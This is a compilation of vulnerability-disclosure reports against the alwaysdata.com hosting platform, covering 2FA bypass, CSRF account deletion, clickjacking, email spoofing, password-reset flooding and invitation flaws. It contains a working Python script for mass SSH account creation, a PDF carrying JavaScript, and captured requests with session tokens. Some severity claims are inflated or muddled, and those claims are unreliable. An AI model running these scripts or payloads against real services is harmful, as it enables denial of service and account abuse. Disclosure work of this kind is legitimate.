Bypassing Two-Factor Authentication via Account Deactivation

Hello Team,

I hope you are doing well. I found a serious issue in https://admin.alwaysdata.com which Bypassing Two-Factor Authentication via Account Deactivation.

The vulnerability arises from a logical flaw in the account recovery and 2FA enforcement processes. Specifically, after deactivating an account, users can takeover and log in without being prompted for 2FA. The 2FA mechanism, which is designed to provide an additional layer of security, is effectively bypassed.

Steps To Reproduce

Go to https://admin.alwaysdata.com and make signup example@gmail.com

Then, go to admin detail section add some details first name, last name etc and activate 2fa.

After, activating 2fa submit and save the details.

After, saving the details click on Delete this profile button on right top side and submit the message what you want.

Your account is deleted without asking password confirmation and 2fa is also deactivated and attacker can easily takeover the account.

Note: This is possible only when user is forgot to login off the account at cafe or something else pc and recreate a account with this email address and reconfigure a 2fa to takeover the account.

Regard,

Waleed Anwar

# Unlimited SSH Server Creation Vulnerability on AlwaysData

## Summary
There is no limit on the number of SSH servers that can be created by a user on the AlwaysData platform. This vulnerability allows for unauthorized resource exhaustion, which could lead to service degradation or denial of service (DoS).

## Steps to Reproduce

1. Log in to your AlwaysData account.
2. Navigate to the SSH server creation page: `https://admin.alwaysdata.com/ssh/add/`.
3. Submit the form to create a new SSH server using a valid name and password.
4. Repeat the above step multiple times with different names like `jhoneone_1002`, `jhoneone_1003`, etc.
5. Observe that there is no limit imposed on the number of SSH servers that can be created, leading to potential resource exhaustion.

## Impact
- Resource Exhaustion: An attacker can create an unlimited number of SSH servers, potentially exhausting the resources allocated to other users on the platform.
- Denial of Service: Continuous server creation could degrade the platform's performance or lead to a denial of service.

## Recommendations
- Implement Limits: Set a reasonable limit on the number of SSH servers that can be created per user.
- Monitor for abnormal SSH server creation patterns and implement rate limiting to prevent abuse.

## Python Script to Exploit the Vulnerability

```python
import requests

# Configuration
url = "https://admin.alwaysdata.com/ssh/add/"
headers = {

  "Host": "admin.alwaysdata.com",
  "Cookie": "csrftoken=dnNRG2ExW88JR4GFKyeRRbD0JMV6E7IH; django_language=en; sessionid=q25k858xtrmg95b2t486xg7snokn99ls",
  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
  "Accept-Language": "en-US,en;q=0.5",
  "Accept-Encoding": "gzip, deflate",
  "Referer": "https://admin.alwaysdata.com/ssh/add/",
  "Content-Type": "application/x-www-form-urlencoded",
  "Origin": "https://admin.alwaysdata.com",
  "Dnt": "1",
  "Upgrade-Insecure-Requests": "1",
  "Sec-Fetch-Dest": "document",
  "Sec-Fetch-Mode": "navigate",
  "Sec-Fetch-Site": "same-origin",
  "Sec-Fetch-User": "?1",
  "Te": "trailers"

}

# Function to create an SSH server
def create_ssh_server(session, csrf_token, username, password="AAAaaa123###"):

  data = {
      "csrfmiddlewaretoken": csrf_token,
      "name": username,
      "password": password,
      "home_directory": "",
      "shell": "BASH",
      "can_use_password": "on",
      "annotation": "",
      "submit": ""
  }
  response = session.post(url, headers=headers, data=data)
  return response.status_code, response.text

# Main script
if name == "main":

  with requests.Session() as session:
      # Replace the csrf_token below with your own token from your account
      csrf_token = "hpjP7TYZxZLeNcxhqG3fC6vZkwecJIc4kCWwDLsmjXJNu63M047Wj7YPT8Z8dFKB"
      
      for i in range(1002, 1100):  # Create multiple servers
          username = f"jhoneone_{i}"
          status_code, response_text = create_ssh_server(session, csrf_token, username)
          print(f"Status Code: {status_code}, Username: {username}")
          # Optionally, you can log the response_text for debugging purposes

*Title: Unauthorized Email Sending Exploit in [alwaysdata.com] Summary: A vulnerability has been discovered in the site's email handling system. The site assigns each user a unique email address. However, it is possible to send an email from any email account, bypassing the intended email restrictions and validation mechanisms. Vulnerability Details: - Type: Email Spoofing
- Impact: Unauthorized email sending
- Affected Component: Email Handling System Description: The application generates a unique email address for each user. However, it is possible to exploit the system to send emails from any arbitrary email address. This issue arises due to insufficient validation of the email sender’s address. Proof of Concept: 1. Exploit Steps: - Use an email client or script to send an email through the application.
- Modify the "From" address to any arbitrary email address, not restricted to the user's assigned address. 2. Result: - The email is sent successfully. Follow the steps in the video: https://admin.alwaysdata.com/support/77431/376905-bandicam%202024-08-20%2003-19-32-375.mp4 Impact:**

This vulnerability allows an attacker to send emails appearing as if they are from any user.

Description: There is clickjacking vulnerability at https://admin.alwaysdata.com/admin/details/ endpoint. And, for deleting a profile, we just need two clicks.

Steps to reproduce:
1) Open your browser and search for https://admin.alwaysdata.com/admin/details/ 2) create an html file that overlays delete this profile icon and then the submit button.

Impact: Admin's account can be deleted in two clicks.

Summary: When uploading images in ticket option, the EXIF metadata is not removed or changed in any way.
Description: When answering in the ticket, you can upload a file, and if you upload an image with EXIF metadata on it, it isn't stripped. This can lead to disclosure of location where photo was taken or other personal information by the photo uploader if their group is public, as anyone can download the logo and check the metadata.
Steps To Reproduce:
1) Create a ticket.
2) Upload an image with exif metadata.
3) Now, download the same image and check the metadata.

Link to POC: https://drive.google.com/file/d/1KflN8xTcF6Gq-0x1wo-n65KkT9ScNHMl/view?usp=sharing

*Title:*: Bypassing Email Address Restriction for Account Creation

*Description:*
The ban on an email can be bypassed

An example is the following e-mail address: "admin@alwaysdata.com"

*Steps to Reproduce:*
1. Attempt to create an account using a blocked email address. The system will display a message stating that the email address is blocked and prevent account creation.
2. Create an account using a different email address.
3. Once the account is successfully created, navigate to the account settings.
4. Change the email address of the account to the previously blocked email address.
5. Save the changes. The email address will be updated to the blocked one, bypassing the initial restriction.

*Impact:*
This issue allows users to circumvent email address restrictions.

*Recommendation:*
Implement server-side checks to ensure that email address restrictions are enforced consistently across all account management functionalities. Additionally, review the email update process to prevent such bypasses.

*POC:*

poc1: https://admin.alwaysdata.com/support/77431/375912-poc.22.png poc2: https://admin.alwaysdata.com/support/77431/375911-bandicam%202024-08-05%2009-36-57-769.mp4

*Title:* Account Creation and Impersonation Vulnerability in [admin.alwaysdata.com]

*Summary:*
It is possible to create a new account on the site using the domain name admin1@alwaysdata.com. After creating this account, the username can be changed to that of a legitimate site administrator. This vulnerability allows the account to generate support tickets and invite users, In this way he can defraud users.

*Steps to Reproduce:*
1. Register a new account on the site using the email admin1@alwaysdata.com , Or by any other name
2. Change the account username to that of a real site administrator.
3. Use the account to create a support ticket and invite users.

poc: https://admin.alwaysdata.com/support/77431/375910-poc.alwaysdata.png

*Impact:*
This vulnerability enables attackers to impersonate site administrators within the support system, Which enables the attacker to impersonate the administrators of the site and deceive users

*Recommendation:*
To mitigate this risk, implement restrictions to prevent the creation of accounts with administrative email domains.

*Title:* Insufficient Validation Allows Multiple Accounts Creation Under Single Subscription Plan

*Description:*
A vulnerability has been identified in the subscription management system which allows users to create multiple accounts under the same subscription plan. This issue can be exploited to bypass restrictions on the number of accounts per plan and gain unauthorized benefits.

*Steps to Reproduce:*

1. *Create an Account:*

1. Sign up for a new account with a specific subscription plan (e.g., "Free Plan").

2. *Create a Duplicate Account:*

1. Attempt to create another account using the same subscription plan as the first account.
2. Notice that the system does not prevent the creation of multiple accounts under the same subscription plan.

3. *Create a Similar Plan Account:*

1. From the newly created account, sign up for a subscription plan similar to the first account's plan.

4. *Send an Invitation:*

1. Send an invitation from the second account to the first account to become an admin of the plan created by the second account.

5. *Accept the Invitation:*

1. After accepting the invitation, the first account will now have two accounts under the same subscription plan.

I sent a proof of concept: https://admin.alwaysdata.com/support/77431/375639-poc.mp4

*Impact:*

This vulnerability allows users to circumvent subscription limitations by creating multiple accounts under the same plan

Good day Team,
This is Unauthorized Access to Admin Page via Exposed Credentials on GitHub

- admin.alwaysdata.com

Summary:
Sensitive credentials for an admin account were found exposed on a public GitHub repository. Using these credentials, an attacker can gain unauthorized access to the admin page of phpmyadmin.alwaysdata.com.

Description:
Credentials for an admin user were discovered using a Google dork on GitHub. The dork revealed an admin username and password that allowed access to the admin page of phpmyadmin.alwaysdata.com.

Steps to Reproduce:

1. Go to GitHub and use the search dork: "admin.alwaysdata.com" password.
2. Identify a public repository containing the admin username and password.
3. Navigate to https://phpmyadmin.alwaysdata.com/.
4. Use the discovered credentials to log in.
5. Observe that you have successfully logged in as an admin user.

Proof of Concept: https://drive.google.com/file/d/12dmKXf-6hwk-VZdozGl2FyvsbiVjDZA6/view?usp=sharing

Impact:
Unauthorized access to sensitive data and administrative functionalities.

Summary:
The removal of account is one of the sensitive part of a web application that needs to protect, therefore removing an account should validate the authenticity of the user, however i have found that when removing an account, the system did not require the user to input the account password.
Steps To Reproduce:
1.Create an account on https://alwaysdata.com
2.Go to My account section DELETE ACCOUNT.
3.Click on delete and you will see it will delete the account without any kind of verification or password confirmation.

Impact
Exploit Scenario: The user logins to a shared computer (office, library, cafe) Left the account open. Intruder came and try to delete the users account Intruder can easily delete the account because the system did not protect it by asking the password to validate that the person deleting the account is the real user.

Regards
Raghav Sharma

POC Link -: https://drive.google.com/file/d/1iu1gb0l44_sTqG2Ol-ZTbLc0ZKHYkO-f/view?usp=drive_link

Vulnerability Explanation-When a user uploads a document containing malicious code, such as JavaScript, to the web application, it gets stored on the server without proper validation or sanitization. This allows an attacker to inject and execute arbitrary scripts within the application's context.

Impact-This vulnerability enables attackers to execute unauthorized scripts on the client-side, leading to session hijacking, data theft, or defacement of the web application. It can compromise user privacy, damage the application's reputation, and potentially expose sensitive information to malicious actors.

Severity-High

Steps to reproduce- 1) go to support https://admin.alwaysdata.com/support/

                      2) Open new ticket 
                      3) upload this code as a.pdf (%PDF-1.3

%����
1 0 obj
«/Pages 2 0 R /Type /Catalog» endobj
2 0 obj
«/Count 1 /Kids [3 0 R] /Type /Pages» endobj
3 0 obj
«/AA

<</O
<</JS
(

try {

app.alert\("xss"\)

} catch \(e\) {

app.alert\(e.message\);

}

  ) 
/S /JavaScript>>>>
/Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R
/Resources
<</Font <</F1 <</BaseFont /Helvetica /Subtype /Type1 /Type /Font>>>>>>
/Type /Page>>

endobj
4 0 obj
«/Length 21» stream

BT
/F1 24 Tf
ET

endstream
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000062 00000 n
0000000117 00000 n
0000000424 00000 n
trailer

«/Root 1 0 R /Size 5» startxref
493
%%EOF)

4) upload this file
5)Open this ticket
6) click on ulpaded malicious pdf file it will refelct

• Vulnerability Explanation-When a user uploads a document containing malicious code, such as JavaScript, to the web application, it gets stored on the server without proper validation or sanitization. This allows an attacker to inject and execute arbitrary scripts within the application's context.

• Impact-This vulnerability enables attackers to execute unauthorized scripts on the client-side, leading to session hijacking, data theft, or defacement of the web application. It can compromise user privacy, damage the application's reputation, and potentially expose sensitive information to malicious actors.

• Severity-High

• Steps to reproduce- 1) go to support https://admin.alwaysdata.com/support/

*Title: Critical Security Vulnerability: Unauthorized Account Deletion via Limited Permissions* in [admin.alwaysdata.com]

Summary:*
During my investigation, I discovered a significant security flaw in the system's account management feature.

*Description:*
The system allows users to invite others to manage their accounts with varying permissions, including the ability to enforce two-factor authentication (2FA) before accessing account management privileges.

*Vulnerability Details:*
I identified a vulnerability wherein an invited user, even without sufficient permissions or 2FA activation, can delete the inviting user's account from their own account. This deletion occurs regardless of whether 2FA was enabled during the invitation process.

*Steps to Reproduce the Bug:*
1. Create two accounts.
2. Invite a user to administer your account and enable 2FA.
3. From the invited user's account, delete the account of the inviting user.
4. Observe that the inviting user's account is permanently deleted, despite prior 2FA activation or the absence of sufficient permissions granted.

I sent proof of concept: https://admin.alwaysdata.com/support/77431/374527-bandicam%202024-07-17%2003-48-55-255.mp4

*Impact:*

This security vulnerability poses a significant risk to user accounts within the system. It allows an invited user, even with limited permissions and without activating two-factor authentication (2FA), to permanently delete the account of the inviting user. This action occurs despite security measures initially set up, such as 2FA activation during the invitation process or inadequate administrative permissions granted.

On-click Delete any invitation in [admin.alwaysdata.com]

*Summary:*
The [Create My Own Site] web application system is vulnerable to a click grabbing attack that allows an attacker to trick the user into deleting invitations that they have sent or received without their knowledge.

*Reproduction steps:*
1. Send an invitation to another user.
2. Receive an invitation and try it on the other account.
3. Get the direct link to the invitation and add the /cancel/ command to the URL.
4. Create an HTML proof-of-concept file with the following content:

Programming Language

<a href="https://admin.alwaysdata.com/transfer/Invitation_Number/cancel/----">Click</a>

5. Host this HTML page or send it via link to the victim.
6. Once the victim clicks on the masked link, the invitation is deleted without their explicit consent or knowledge.

An attacker could use their location and attach an HTML file instead of sending a file that the user clicks.

I have sent a proof of concept:
https://admin.alwaysdata.com/support/77431/374245-bandicam%202024-07-14%2007-00-17-624.mp4

*Impact:*
The exploit allows the deletion of any invitation that the user has sent or reached another user without his consent.

*Vulnerability Summary: Unauthorized Account Takeover via Invitation Exploitation in [admin.alwaysdata.com] Vulnerability Description: A critical security vulnerability was identified in the account invitation process of [Service that allows the user to create a site]. This vulnerability allowed an unauthorized user to gain administrative control over another user's account through the invitation feature. Below is a detailed timeline of events leading to the account takeover: 1. Account Creation: - A user (referred to as User A) created an account on [Service that allows the user to create a site]. 2. Incorrect Invitation: - User A intended to invite a member to become an administrator but mistakenly sent the invitation to another user (User B). 3. Invitation Deletion: - Realizing the mistake, User A promptly deleted the invitation intended for User B. 4. Correct Invitation: - User A subsequently invited their colleague (referred to as User C) to become an administrator of their account. 5. Acceptance by Colleague: - User C accepted the invitation, assuming administrative rights as intended by User A. 6. Unauthorized Acceptance: - Meanwhile, User B, who received the initial invitation in error, noticed the invitation and, potentially unaware of the implications, accepted it. 7. Account Takeover:**

1. By accepting the invitation, User B gained administrative access to User A's account, effectively taking ownership of the account.

I've sent a proof of concept: [REDACTED]

Impact:
Account Takeover

Summary:

A vulnerability was discovered where a user with an existing account is not sent an invitation link when added to an organization, potentially leading to confusion and unauthorized access.

Impact:

- User unable to access organization resources
- Potential unauthorized access to sensitive information
- Increased risk of account takeover

Expected Result:

- User with an existing account should receive an invitation link to join the organization
- User should be prompted to accept the invitation and join the organization

Actual Result:

- No invitation link is sent to the user
- User is not prompted to accept the invitation and join the organization

Severity according to CVSS 3:

- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Sensitivity (S): Medium (M)
- Confidentiality (C): Medium (M)
- Integrity (I): Medium (M)
- Availability (A): Medium (M)

CVSS 3 Score: 6.5 (Medium)

Steps to Reproduce:

1. Add a user with an existing account to an organization
2. Observe no invitation link being sent to the user
3. Verify the user's inability to access organization resources

Recommended Fix:

1. Implement automatic invitation link sending for existing users
2. Ensure users receive a prompt to accept the invitation and join the organization
3. Validate user accounts and organization membership to prevent unauthorized access

Conclusion:

This vulnerability poses a medium risk to user access and organization security. Implementing automatic invitation link sending for existing users will ensure proper access and prevent unauthorized access attempts.

Summary:

A vulnerability was discovered where the delete account functionality lacks password confirmation and is vulnerable to GET-based CSRF, potentially allowing attackers to delete accounts without authorization.

Impact:

- Unauthorized account deletion
- Potential data loss
- Increased risk of account takeover

Expected Result:

- Password confirmation should be required to delete an account
- CSRF protection should prevent unauthorized requests

Actual Result:

- No password confirmation is required to delete an account
- GET-based CSRF vulnerability allows unauthorized account deletion

Steps to Reproduce:

1. Login to the application
2. Trick the user into clicking a malicious link to delete their account: https://admin.alwaysdata.com/admin/details/1/delete 3. User click submit
4. Observe the account being deleted without password confirmation

Recommended Fix:

1. Implement password confirmation requirement for delete account functionality
2. Implement CSRF protection for delete account functionality
3. Validate requests to prevent unauthorized account deletion

Conclusion:

This vulnerability poses a critical risk to user accounts and data. Implementing password confirmation and CSRF protection for delete account functionality will prevent unauthorized account deletion and ensure the security and integrity of user accounts.

Summary:
A vulnerability was discovered where a user who is not given permission on invite is still able to create a new organization, potentially leading to unauthorized access and data breaches.

Impact:

- Unauthorized access to sensitive information
- Potential data breaches
- Increased risk of account takeover

Expected Result:

- User without permission should not be able to create a new organization
- User should only be added to the organization with proper permission

Actual Result:

- User without permission is given a new organization on accepting invite
- User is added to the new organization with unnecessary permissions

Steps to Reproduce:

1. Invite a user without permission
2. Observe the user creating a new organization
3. Verify the user's unnecessary permissions in the new organization

Recommended Fix:
1. Implement permission checks to prevent unauthorized organization creation
2. Ensure users are only added to organizations with proper permission
3. Validate user permissions on each request to prevent abuse

Conclusion:

This vulnerability poses a critical risk to sensitive information and user accounts. Implementing proper permission checks and validation will prevent unauthorized access and ensure the security and integrity of user accounts.

Summary:

A vulnerability was discovered where the session is not invalidated when permissions are changed, potentially allowing attackers to access sensitive information without proper authorization.

Impact:

- Unauthorized access to sensitive information
- Potential data breaches
- Increased risk of account takeover

Expected Result:

- Session should be invalidated when permissions are changed
- User should be prompted to re-authenticate with new permissions

Actual Result:

- Session remains active after permission change
- User retains access to sensitive information without re-authentication

Steps to Reproduce:

1. {Browser A → Admin}Login to the application
2. {Browser A → Admin}Change permissions for the user
3. {Browser B → User}Login to the application
4. Observe the session remaining active
5. Attempt to access sensitive information

Recommended Fix:

1. Invalidate the session when permissions are changed
2. Require users to re-authenticate with new permissions
3. Implement additional security measures, such as token-based authentication and secure cookie management

Conclusion:

This vulnerability poses a critical risk to sensitive information and user accounts. Invalidating the session when permissions are changed will prevent unauthorized access and ensure the security and integrity of user accounts.

### Summary
The website does not verify email addresses during the account creation process, which can lead to various security issues such as spam, abuse, and account recovery problems.

### Steps to Reproduce
1. Go to the account creation page.https://www.alwaysdata.com/en/register/ 2. Enter any email address and complete the registration process.
3. Notice that no email verification step is required.

### Impact
- Spam and Abuse: Unverified accounts can be used to flood the system with spam or perform malicious activities.
- User Impersonation: An attacker can use someone else's email address, leading to possible impersonation issues.
- Account Recovery Problems: Users might face difficulties in recovering their accounts if email addresses are not verified.

### Recommendation
Implement email verification as a mandatory step in the account creation process to ensure that the email addresses are valid and belong to the users registering them.

Severity: High

Vulnerability Description:
The website allows users to create accounts without verifying their email addresses. This practice poses significant security and usability risks.

Impact:

Spam and Fake Accounts:

Malicious users can create multiple fake accounts, leading to spam and abuse of the platform.
Automated scripts (bots) can exploit this vulnerability to flood the system with fake accounts, overwhelming resources and degrading performance.
Account Security:

Unauthorized users can create accounts using someone else's email address, potentially leading to privacy breaches and unauthorized access to personal information.
Genuine users might be unable to access their accounts if their email addresses are misused by others.

Communication Failures:

Users may not receive important notifications, updates, or password reset instructions, leading to poor user experience and support issues.

Reputation and Trust:

The lack of basic security measures can lead to loss of trust among users and damage the website's reputation.
Users might perceive the platform as insecure and unreliable, leading to reduced user retention and engagement.
Steps to Reproduce:
Navigate to the account creation page.
Enter any email address (including ones that do not belong to the user) and complete the registration process.
Observe that the account is created and accessible without any email verification step.

Recommended Mitigation:

Implement Email Verification:

During registration, send a confirmation email to the provided email address containing a unique verification link.
Require users to click on the verification link to activate their accounts.
Use CAPTCHA:

Incorporate CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) during the registration process to prevent automated bots from creating accounts.

Rate Limiting:

Implement rate limiting on the account creation endpoint to prevent mass account creation from the same IP address within a short period.

Audit Existing Accounts:

Review existing accounts for potential fake or unauthorized accounts and take appropriate actions, such as sending verification requests or disabling suspect accounts.

References:
OWASP Authentication Cheat Sheet: OWASP Authentication Cheat Sheet
NIST Digital Identity Guidelines: NIST SP 800-63B

Hello Team,
My Name Is Pawan Yadav, a cyber security researcher from India. While testing one of your domains, I have found a vulnerability in your site.

Here is the detailed report:

Vulnerability Description :-
Direct IP access refers to the ability to access a website or service directly via its IP address
rather than its domain name (e.g., http://185.31.40.186/ instead of https://admin.alwaysdata.com/login/?next=/ ). Direct IP
access can bypass certain security controls implemented at the domain level, potentially
exposing sensitive information or allowing unauthorized access to resources.

Attack Vector :-
An attacker can directly access the web application by using its IP address, bypassing domain-
based security controls such as Web Application Firewalls (WAFs), IP filtering, or access controls
based on the domain name.
Domain :- https://admin.alwaysdata.com/login/?next=/ Direct IP Access :- http://185.31.40.186/
Reference :-
https://www.nexgi.com/digital-library/direct-ip-access/

Impact:-

Denial of Service : Direct IP-address Access has its own set of issues. For starters, it increases
the chances to encounter a Distributed Denial of Service attack.
Data Interception: Attackers can intercept and read sensitive information transmitted between
the server and clients, such as login credentials, personal information, and payment details.
Man-in-the-Middle Attacks: This vulnerability enables attackers to intercept and potentially alter
the communication between the server and client, leading to unauthorized data modification or
injection of malicious content.
Loss of User Trust: A lack of HTTPS can undermine the trust and credibility of the website among
its users, potentially leading to decreased user engagement and conversions.

POC

https://drive.google.com/file/d/19idNkDidehPI_SR3qQfvArwgCSji7elc/view?usp=sharing

Description

*Title:* Two-Factor Authentication Bypass via Support Ticket Creation in [admin.alwaysdata.com]

*Summary:*
A critical security vulnerability has been identified in the [admin.alwaysdata.com]'s account management system where a user with administrative privileges but mandated to use two-factor authentication (2FA) can bypass this requirement by initiating a support ticket under the name of the primary account holder without triggering 2FA.

*Description:*
This vulnerability allows an added user, who is supposed to be restricted by 2FA, to perform actions appearing as the primary account holder by submitting support tickets. This circumvents the security protocol intended to protect sensitive account operations via 2FA, potentially leading to unauthorized actions without the account holder's consent or knowledge.

*Steps to Reproduce:*
1. Create two user accounts, Account A (primary) and Account B.
2. From Account A, add Account B as another user with full administrative privileges but enforce 2FA on actions.
3. Log into Account B.
4. Navigate to the support section and initiate a support ticket, selecting Account A as the affected account.
5. Submit the ticket without being prompted for 2FA verification.

I sent a proof of concept : https://admin.alwaysdata.com/support/77431/367474-VID-20240423-WA0000.mp4

*Impact:*
The primary account holder's security is compromised as the added user can perform sensitive operations under their guise without completing the necessary 2FA checks. This vulnerability may lead to unauthorized access and control over the primary account's sensitive functions and data.

The website does not implement rate limiting on password reset links, allowing an attacker to repeatedly request password reset links for any account. This could lead to account takeover through brute-force attacks.

Description When an attacker gains access to a target account's email address, they can repeatedly request password reset links without any rate limiting in place. This allows them to flood the target's email inbox with reset links, making it difficult for the legitimate user to identify and use the valid reset link. Additionally, the attacker can automate this process, increasing the efficiency of the attack.

Impact Account Takeover: Attackers can potentially take over user accounts by flooding their email inbox with reset links, making it easier to intercept a valid reset link and gain unauthorized access.
User Disruption: The flood of reset links can disrupt the user's ability to use their email normally, causing inconvenience and potential confusion.

Recommendations Implement rate limiting on password reset requests to prevent brute-force attacks.
Limit the number of password reset links that can be requested per minute per IP address or account.
Implement CAPTCHA or other mechanisms to distinguish between automated and legitimate requests.

Steps to Reproduce 1- Go To This Link https://admin.alwaysdata.com/login/ Enter your Email Click On Forget Password
2- intercept burp and send request to intruder
3- make payload and start attack

Supporting Material/References

OWASP Password Reset Best Practices

Impact Account Takeover
User Disruption

Proof of Concept N/A (Describe how you were able to successfully exploit the vulnerability.)

Remediation
Implement rate limiting on password reset requests to prevent brute-force attacks. Limit the number of password reset links that can be requested per minute per IP address or account. Implement CAPTCHA or other mechanisms to distinguish between automated and legitimate requests.

Supporting Material/References
OWASP Password Reset Best Practices

Impact Account Takeover
User Disruption

Proof of Concept SS ATTACHED REQUEST** (BY USING BRUP SUITE)

POST /password/lost/ HTTP/2
Host: admin.alwaysdata.com
Cookie: REACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://admin.alwaysdata.com/password/lost/ Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Origin: https://admin.alwaysdata.com Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

csrfmiddlewaretoken=8GNhIyHjyRaBHSlBRaaN9gMWKaksiJR3Py8S3TJoW8zb7tq5gU4JzRA1cMEp0VHl&email=alexdoppler29%40gmail.com

SS LINK - https://drive.google.com/file/d/1a0vqAOB6u6ayQSNX4ktQuUOWIAgNQjAR/view?usp=sharing